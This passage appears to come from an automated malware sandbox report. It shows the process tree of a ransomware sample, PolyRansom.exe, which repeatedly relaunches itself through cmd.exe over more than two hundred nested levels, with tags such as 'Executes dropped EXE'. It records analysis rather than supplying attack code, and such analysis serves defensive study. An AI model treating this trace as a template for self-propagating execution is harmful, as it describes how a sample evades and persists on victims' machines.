C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
13⤵
PID:5972

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
14⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5564

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
15⤵
PID:4816

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
16⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4068

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
17⤵
PID:5932

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
18⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5468

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
19⤵
PID:788

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
20⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5604

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
21⤵
PID:1424

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
22⤵
- Executes dropped EXE
PID:1464

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
23⤵
PID:5812

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
24⤵
- Executes dropped EXE
PID:3460

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
25⤵
PID:6064

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
26⤵
- Executes dropped EXE
PID:4440

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
27⤵
PID:368

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
28⤵
- Executes dropped EXE
PID:2032

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
29⤵
PID:5468

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
30⤵
- Executes dropped EXE
PID:5648

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
31⤵
PID:2528

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
32⤵
- Executes dropped EXE
PID:5604

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
33⤵
PID:4880

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
34⤵
- Executes dropped EXE
PID:4344

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
35⤵
PID:316

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
36⤵
- Executes dropped EXE
PID:1632

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
37⤵
PID:5288

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
38⤵
- Executes dropped EXE
PID:4388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
39⤵
PID:3240

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
40⤵
- Executes dropped EXE
PID:5280

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
41⤵
PID:392

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
42⤵
- Executes dropped EXE
PID:5380

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
43⤵
PID:5796

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
44⤵
- Executes dropped EXE
PID:5856

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
45⤵
PID:5156

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
46⤵
- Executes dropped EXE
PID:6092

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
47⤵
PID:2560

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
48⤵
- Executes dropped EXE
PID:4356

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
49⤵
PID:6064

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
50⤵
- Executes dropped EXE
PID:700

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
51⤵
PID:5892

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
52⤵
- Executes dropped EXE
PID:1464

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
53⤵
PID:3880

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
54⤵
- Executes dropped EXE
PID:3188

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
55⤵
PID:5976

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
56⤵
- Executes dropped EXE
PID:4200

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
57⤵
PID:4220

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
58⤵
- Executes dropped EXE
PID:2412

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
59⤵
PID:1632

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
60⤵
- Executes dropped EXE
PID:4360

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
61⤵
PID:1900

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
62⤵
- Executes dropped EXE
PID:5916

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
63⤵
PID:5780

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
64⤵
- Executes dropped EXE
PID:3184

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
65⤵
PID:1508

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
66⤵
- Executes dropped EXE
PID:2316

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
67⤵
PID:5844

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
68⤵
- Executes dropped EXE
PID:1348

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
69⤵
PID:5684

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
70⤵
- Executes dropped EXE
PID:3812

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
71⤵
PID:5252

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
72⤵
- Executes dropped EXE
PID:3816

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
73⤵
PID:5804

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
74⤵
- Executes dropped EXE
PID:1672

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
75⤵
PID:5724

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
76⤵
- Executes dropped EXE
PID:5512

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
77⤵
PID:1880

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
78⤵
- Executes dropped EXE
PID:4800

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
79⤵
PID:5368

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
80⤵
- Executes dropped EXE
PID:4748

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
81⤵
PID:5232

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
82⤵
- Executes dropped EXE
PID:4732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
83⤵
PID:1440

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
84⤵
- Executes dropped EXE
PID:5352

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
85⤵
PID:756

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
86⤵
- Executes dropped EXE
PID:184

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
87⤵
PID:5316

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
88⤵
- Executes dropped EXE
PID:2356

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
89⤵
PID:4672

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
90⤵
- Executes dropped EXE
PID:1576

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
91⤵
PID:3248

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
92⤵
- Executes dropped EXE
PID:4388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
93⤵
PID:4612

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
94⤵
- Executes dropped EXE
PID:3832

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
95⤵
PID:6108

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
96⤵
- Executes dropped EXE
PID:2784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
97⤵
PID:4232

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
98⤵
- Executes dropped EXE
PID:184

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
99⤵
PID:5388

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
100⤵
- Executes dropped EXE
PID:5784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
101⤵
PID:5188

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
102⤵
- Executes dropped EXE
PID:6024

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
103⤵
PID:728

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
104⤵
- Executes dropped EXE
PID:5736

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
105⤵
PID:1980

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
106⤵
- Executes dropped EXE
PID:5780

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
107⤵
PID:3196

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
108⤵
- Executes dropped EXE
PID:5400

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
109⤵
PID:3880

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
110⤵
- Executes dropped EXE
PID:3184

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
111⤵
PID:3124

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
112⤵
- Executes dropped EXE
PID:4944

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
113⤵
PID:1936

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
114⤵
- Executes dropped EXE
PID:788

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
115⤵
PID:3464

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
116⤵
- Executes dropped EXE
PID:4744

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
117⤵
PID:5780

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
118⤵
- Executes dropped EXE
PID:1980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
119⤵
PID:2784

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
120⤵
- Executes dropped EXE
PID:896

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
121⤵
PID:4996

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
122⤵
PID:5936

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
123⤵
PID:2056

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
124⤵
PID:5732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
125⤵
PID:1132

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
126⤵
PID:2060

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
127⤵
PID:5984

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
128⤵
PID:3248

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
129⤵
PID:3424

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
130⤵
PID:1420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
131⤵
PID:1540

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
132⤵
PID:2784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
133⤵
PID:2196

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
134⤵
PID:2336

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
135⤵
PID:5092

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
136⤵
PID:2084

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
137⤵
PID:3544

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
138⤵
PID:4788

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
139⤵
PID:1440

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
140⤵
PID:2472

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
141⤵
PID:6068

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
142⤵
PID:756

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
143⤵
PID:5288

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
144⤵
PID:4596

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
145⤵
PID:2740

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
146⤵
PID:1632

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
147⤵
PID:4068

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
148⤵
PID:5732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
149⤵
PID:5276

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
150⤵
PID:388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
151⤵
PID:5956

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
152⤵
PID:2336

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
153⤵
PID:3816

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
154⤵
PID:5784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
155⤵
PID:4980

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
156⤵
PID:556

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
157⤵
PID:4776

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
158⤵
PID:2560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
159⤵
PID:5736

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
160⤵
PID:4028

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
161⤵
PID:4212

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
162⤵
PID:3184

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
163⤵
PID:2040

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
164⤵
PID:4476

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
165⤵
PID:2520

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
166⤵
PID:4992

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
167⤵
PID:3280

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
168⤵
PID:1084

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
169⤵
PID:4904

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
170⤵
PID:3344

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
171⤵
PID:5596

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
172⤵
PID:6064

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
173⤵
PID:5344

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
174⤵
PID:1212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
175⤵
PID:2076

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
176⤵
PID:1072

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
177⤵
PID:948

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
178⤵
PID:2556

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
179⤵
PID:4804

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
180⤵
PID:1576

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
181⤵
PID:4136

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
182⤵
PID:4072

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
183⤵
PID:5392

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
184⤵
PID:228

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
185⤵
PID:2372

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
186⤵
PID:3152

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
187⤵
PID:4500

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
188⤵
PID:3436

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
189⤵
PID:5652

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
190⤵
PID:5864

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
191⤵
PID:2784

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
192⤵
PID:388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
193⤵
PID:5844

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
194⤵
PID:5848

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
195⤵
PID:4388

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
196⤵
PID:1776

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
197⤵
PID:5864

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
198⤵
PID:6052

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
199⤵
PID:5012

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
200⤵
PID:5824

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
201⤵
PID:3408

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
202⤵
PID:5468

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
203⤵
PID:1976

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
204⤵
PID:1104

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
205⤵
PID:2524

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
206⤵
PID:2056

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
207⤵
PID:1580

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
208⤵
PID:3564

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
209⤵
PID:1036

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
210⤵
PID:5856

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
211⤵
PID:2652

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
212⤵
PID:5748

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
213⤵
PID:3544

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
214⤵
PID:5876

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
215⤵
PID:4784

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
216⤵
PID:3188

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
217⤵
PID:552

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
218⤵
PID:6020

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
218⤵
PID:3616

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
219⤵
PID:2052

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
220⤵
PID:5732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
221⤵
PID:1020

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
222⤵
PID:3220

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
223⤵
PID:1212

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
224⤵
PID:3868

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
225⤵
PID:5964

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
226⤵
PID:1688

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
226⤵
PID:392

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
227⤵
PID:4312

C:\Users\Admin\Downloads\PolyRansom.exe
